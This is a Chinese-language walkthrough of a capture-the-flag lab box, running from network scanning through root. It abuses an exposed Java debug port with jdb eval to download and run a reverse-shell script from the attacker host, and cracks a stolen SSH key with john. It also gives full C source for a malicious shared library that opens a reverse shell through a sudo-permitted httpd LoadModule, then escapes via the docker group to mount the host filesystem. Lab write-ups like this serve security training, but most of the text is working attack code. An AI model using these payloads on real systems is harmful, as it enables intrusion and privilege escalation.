

发现 ip:

```
(root@10)-[~]
# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:ba:3f:d6, IPv4: 10.0.2.12
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1      52:54:00:12:35:00    QEMU
10.0.2.2      08:00:27:f3:70:bf    PCS Systemtechnik GmbH
10.0.2.3      52:54:00:12:35:00    QEMU
10.0.2.27     08:00:27:75:2f:24    PCS Systemtechnik GmbH

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.097 seconds (122.08 hosts/sec). 4 responded
```

扫爆结果:

```
(root@10)-[~]
# whatweb http://10.0.2.27
http://10.0.2.27 [200 OK] Apache[2.4.67], Bootstrap, Country[RESERVED][22], HTML5, HTTPServer[Unix][Apache/2.4.67 (Unix)], IP[10.0.2.27], Script, Title
n Blog - Start Bootstrap Theme

(root@10)-[~]
# gobuster dir -u http://10.0.2.27 -x php,txt,html --wordlist=/usr/share/wordlists/dirbuster/directory-list-1.0.txt

Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.0.2.27
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: txt,html,php
[+] Timeout: 10s

Starting gobuster in directory enumeration mode

about.html (Status: 200) [Size: 6113]
contact.html (Status: 200) [Size: 10169]
index.html (Status: 200) [Size: 8213]
assets (Status: 301) [Size: 345] [→ http://10.0.2.27/assets/]
post.html (Status: 200) [Size: 9663]
css (Status: 301) [Size: 342] [→ http://10.0.2.27/css/]
js (Status: 301) [Size: 341] [→ http://10.0.2.27/js/]
Progress: 566828 / 566828 (100.00%)

Finished
```

```
(root@10)-[~]
# nmap 10.0.2.27 --min-rate 100 -sV -p- -Pn
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-10 23:06 +0800
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 17.12% done; ETC: 23:06 (0:00:00 remaining)
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 78.23% done; ETC: 23:06 (0:00:00 remaining)
Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 91.75% done; ETC: 23:06 (0:00:00 remaining)
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 91.83% done; ETC: 23:06 (0:00:00 remaining)
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 97.40% done; ETC: 23:06 (0:00:00 remaining)
Stats: 0:00:05 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 60.00% done; ETC: 23:06 (0:00:01 remaining)
Stats: 0:00:09 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 60.00% done; ETC: 23:06 (0:00:04 remaining)
Stats: 0:00:14 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 80.00% done; ETC: 23:06 (0:00:03 remaining)
Nmap scan report for 10.0.2.27
Host is up (0.000064s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
5005/tcp   open  jdbwp    Java Debug Wire Protocol (Reference Implementation) version 17.0 17.0.18
8161/tcp   open  http     Jetty
61616/tcp open  apachemq ActiveMQ OpenWire transport 6.2.2
MAC Address: 08:00:27:75:2F:24 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.96 seconds
```

http 服务 8161 端口使用 admin:admin 弱口令，里面没什么信息可用，同时确认 java17 版本，使用 openjdk-17 的 jdb 直连 (jdb -attach <靶机 IP>:5005)

```
> eval ""getClass().forName("java.lang.Runtime").getMethod("getRuntime", null).invoke(null, null)
```

java.lang.NullPointerException: Cannot invoke

"com.sun.tools.example.debug.expr.ExpressionParser\$GetFrame.get()" because "frameGetter" is null

```
"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",  
null).invoke(null, null) = 空值
```

看到 `java.lang.NullPointerException: Cannot invoke ... "frameGetter" is null`
这个报错，瞬间全明白了！

你踩到了 `jdb` 最底层也是最隐蔽的一个大坑：你当前并没有真正让程序停在某个具体的断点（`Frame`）上。

在 `jdb` 中，如果没有线程被挂起（即没有进入断点、没有栈帧上下文），`jdb` 的表达式解析器就无法获取当前的线程状态（`frameGetter` 为 `null`）。此时它不仅找不到 `Runtime`、`System`，甚至连任何合法的 Java 表达式都无法解析，统统都会报错 `Name unknown` 或 `No class named`。

既然你是用的 JDK 17 版本的 `jdb`，请严格按照以下标准化实战步骤重新操作，保证能成功：

gemini 的意思是我需要在进入断点后才能执行目标类和目标对象

```
threads  
stop in java.lang.StringBuilder.toString  
#断点过程中 eval 会和断点死锁状态冲突  
eval  
java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",  
null).invoke(null, null)  
stop  
clear java.lang.StringBuilder.toString  
pop  
cont  
#直接弹 shell 指令不会生效（应该是 jdb 的问题）  
eval  
java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",  
null).invoke(null, null).getClass().getMethod("exec",  
java.lang.Class.forName("java.lang.String")).invoke(java.lang.  
Class.forName("java.lang.Runtime").getMethod("getRuntime",  
null).invoke(null, null), "wget -O /tmp/rev.sh -  
http://10.0.2.12:8000/rev.sh")  
eval  
java.lang.Class.forName("java.lang.Runtime").getMethod("getRuntime",  
null).invoke(null, null).getClass().getMethod("exec",  
java.lang.Class.forName("java.lang.String")).invoke(java.lang.  
Class.forName("java.lang.Runtime").getMethod("getRuntime",  
null).invoke(null, null), "bash /tmp/rev.sh")
```

进入容器后容器 root 有一个 userflag，同时顺走 ubuntu 目录下的 id_rsa 私钥并爆破/解密

```

(root@10)-[~]
# john gezi --wordlist=ass.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:01 1.28% (ETA: 00:52:51) 0g/s 26.66p/s 26.66c/s 26.66C/s purple..charlie
0g 0:00:00:23 13.19% (ETA: 00:54:28) 0g/s 26.78p/s 26.78c/s 26.78C/s sunshine1..kelly
0g 0:00:00:28 15.67% (ETA: 00:54:32) 0g/s 26.60p/s 26.60c/s 26.60C/s football1..martha
0g 0:00:00:35 18.83% (ETA: 00:54:38) 0g/s 26.43p/s 26.43c/s 26.43C/s xbox360..sandy
0g 0:00:00:41 21.98% (ETA: 00:54:39) 0g/s 26.31p/s 26.31c/s 26.31C/s heart..hamster
0g 0:00:00:47 25.17% (ETA: 00:54:39) 0g/s 26.32p/s 26.32c/s 26.32C/s dragons..poohbear1
0g 0:00:00:53 28.36% (ETA: 00:54:39) 0g/s 26.32p/s 26.32c/s 26.32C/s snuggles..michel
0g 0:00:00:57 30.27% (ETA: 00:54:41) 0g/s 26.33p/s 26.33c/s 26.33C/s bhaby..mexico1
melisa (gezi.pem)
1g 0:00:01:03 DONE (2026-07-11 00:52) 0.01575g/s 26.22p/s 26.22c/s 26.22C/s mollie..athena
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

(root@10)-[~]
# ssh-keygen -y -f aaa.pem
Enter passphrase for "aaa.pem":
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQGDHtWwvHkCLFhmjaYobU7CxcQgJbFdPaEg0yvFHOWlfnzrIekmg2dx7GWfFMQsbglCBMqq3FuYdYIT+NQR1ZHEfjvcZ0rQw2M7nv5Z
HrRKENo+x39cTmuH/b00dhTYWQj00sBcUmPMCRwsBTsm+0bykGRo8CKx79VzLNTX41U0wah3Ik2/053wWAH2zyfuh2cchaE+39mTyeVL7IC/UigaTOgCT0RmmPK3pB4smRQ4dK0mmsp
qbQcQeprVsF5E0jLI8gpbUz0XZ9v4XTSj+nuYxiHTQ2iRF3TNPQWSaB5J1EFHAvaiD8w6wva9i8ioYv/jXLpqhOT0o7nv5tzZmA5fGSWqU+fSrAKBALKhW1S6pyc4D2ly+nBBmUpo5
KLawqev+TuGyz/nJ2EVoTyP+nACUyzgP9dglPc35dWoxyHtE1MpiqUyw7aVziOj0nxMLuRL79YRnt3i5CMhw7q+Wfm65sF13+0LJsvzDy8Y1nFJq7GuUEx/Qg0cEurfn9Aha3s= pip
pinuMq

```

登录后有个

(jazz) NOPASSWD: /usr/sbin/httpd

的 SUID

http.conf 格式为

```

ServerRoot "/etc/apache2"
PidFile "/tmp/httpd.pid"
LoadModule evil_module "/tmp/evil.so"
Listen 12345
User root
Group root

```

```

pipinu@Mq:/tmp$ cat /tmp/asd.conf
ServerRoot "/etc/apache2"
PidFile "/tmp/httpd.pid"
LoadModule evil_module "/tmp/evil.so"
Listen 12345
User jazz
Group jazz

```

然后写个恶意动态链接库


```

GNU nano 9.0
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

__attribute__((constructor))
static int mylib_init(void){
    int port = 9988;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("10.0.2.12");

    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"bash", NULL};
    execvp("bash", argv);

    return 0;
}

__attribute__((destructor))
static void mylib_fini(void)
{
    printf("mylib fini called\n");
}

```

编译:

gcc -fPIC -shared -o evil.so asd.c

弹 shell:

sudo -u jazz /usr/sbin/httpd -f /tmp/asd.conf

jazz 里

/usr/bin/script -qc /bin/bash /dev/null

(ctrl z)

stty raw -echo; fg

export TERM=xterm

export SHELL=/bin/bash

稳定 shell

id 发现 jazz 有 groups=102(docker) docker 组权限

然后 docker images 发现 vulhub/activemq:6.2.2

收尾:

docker run -v /:/host -it --rm vulhub/activemq:6.2.2 bash

系统根目录就在 /host/ 下

```
Mq:~$ docker run -v /:/host -it --rm vulhub/activemq:6.2.2 sh
# id
uid=0(root) gid=0(root) groups=0(root)
# ls -la ~
total 20
drwx----- 1 root root 4096 Apr 15 20:33 .
drwxr-xr-x 1 root root 4096 Jul 10 17:18 ..
-rw-r--r-- 1 root root 3106 Apr 22 2024 .bashrc
-rw-r--r-- 1 root root 161 Apr 22 2024 .profile
-rw-r--r-- 1 root root 165 Apr 15 20:33 .wget-hsts
# chmod +s /host/bin/sh
chmod: cannot operate on dangling symlink '/host/bin/sh'
# ls -la /host
total 73
drwxr-xr-x 21 root root 4096 May 31 14:15 .
drwxr-xr-x 1 root root 4096 Jul 10 17:18 ..
drwxr-xr-x 2 root root 4096 May 21 12:53 bin
drwxr-xr-x 3 root root 1024 May 21 12:44 boot
drwxr-xr-x 15 root root 3220 Jul 10 14:57 dev
drwxr-xr-x 42 root root 4096 Jul 10 17:17 etc
drwxr-xr-x 4 root root 4096 May 31 06:19 home
drwxr-xr-x 8 root root 4096 May 8 02:51 lib
drwx----- 2 root root 16384 Jun 3 2025 lost+found
drwxr-xr-x 5 root root 4096 Jun 3 2025 media
drwxr-xr-x 2 root root 4096 Jun 3 2025 mnt
drwxr-xr-x 3 root root 4096 May 21 12:53 opt
dr-xr-xr-x 174 root root 0 Jul 10 14:57 proc
drwx----- 3 root root 4096 May 21 14:45 root
drwxr-xr-x 10 root root 480 Jul 10 17:15 run
drwxr-xr-x 2 root root 4096 May 21 12:53 sbin
drwxr-xr-x 2 root root 4096 Jun 3 2025 srv
dr-xr-xr-x 13 root root 0 Jul 10 16:30 sys
drwxrwxrwt 4 root root 120 Jul 10 17:18 tmp
drwxr-xr-x 8 root root 4096 Jun 3 2025 usr
drwxr-xr-x 13 root root 4096 May 8 02:51 var
# cat /host ^H^H^H
cat: /host: Is a directory
cat: '$'\b\b\b': No such file or directory
# cat /host/root/root.txt
flag{root }
```